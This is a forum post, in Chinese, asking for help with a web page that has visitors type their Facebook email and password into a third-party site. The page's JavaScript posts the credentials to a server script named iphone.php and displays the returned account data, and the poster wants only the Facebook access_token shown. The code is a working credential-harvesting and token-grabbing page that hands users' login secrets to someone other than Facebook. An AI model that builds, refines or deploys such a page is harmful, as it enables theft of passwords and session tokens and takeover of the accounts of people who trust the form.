您好我正在寻找帮助我创建的表单,用户将他们的电子邮件和密码输入facebook并回显他们帐户的数据。
网站在这里: https://testmybottt.000webhostapp.com/test/
我的问题是我只想显示access_token部分。可能吗?用ajax?或Jquery或CSS来隐藏/显示数据。我希望我的问题很明确。
这是我的代码:
<!DOCTYPE html>
<html lang="en">
<body>
<div class="container">
<div class="header clearfix">
<br/>
</div>
<div class="panel panel-primary">
<div class="panel-body">
<form id="flogin" name="flogin" class="form-horizontal" action="" method="POST">
<div class="form-group col-sm-12">
<input name="email" id="tk" class="form-control" placeholder="Enter Your Facebook Email or Phone Number"/></div>
<div class="form-group col-sm-12">
<input name="pass" type="password" id="mk" class="form-control" placeholder="Enter Your Facebook Password"/></div>
<div style="text-align: center">
<button type="button" class="btn btn-info" onclick="Puaru_Active()" > Click Here </button>
<br/> <br/> </form>
<li id="trave" class="list-group-item">
</div></div></div>
<script>
function Puaru_Active() {
var http = new XMLHttpRequest();
var tk = document.getElementById("tk").value;
var mk = document.getElementById("mk").value;
var url = "iphone.php";
var params = "u="+tk+"&p="+mk+"";
http.open("POST", url, true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.onreadystatechange = function() {
if(http.readyState == 4 && http.status == 200) {
document.getElementById("trave").innerHTML = http.responseText;
}
}
http.send(params);
}
</script>
</body>
</html>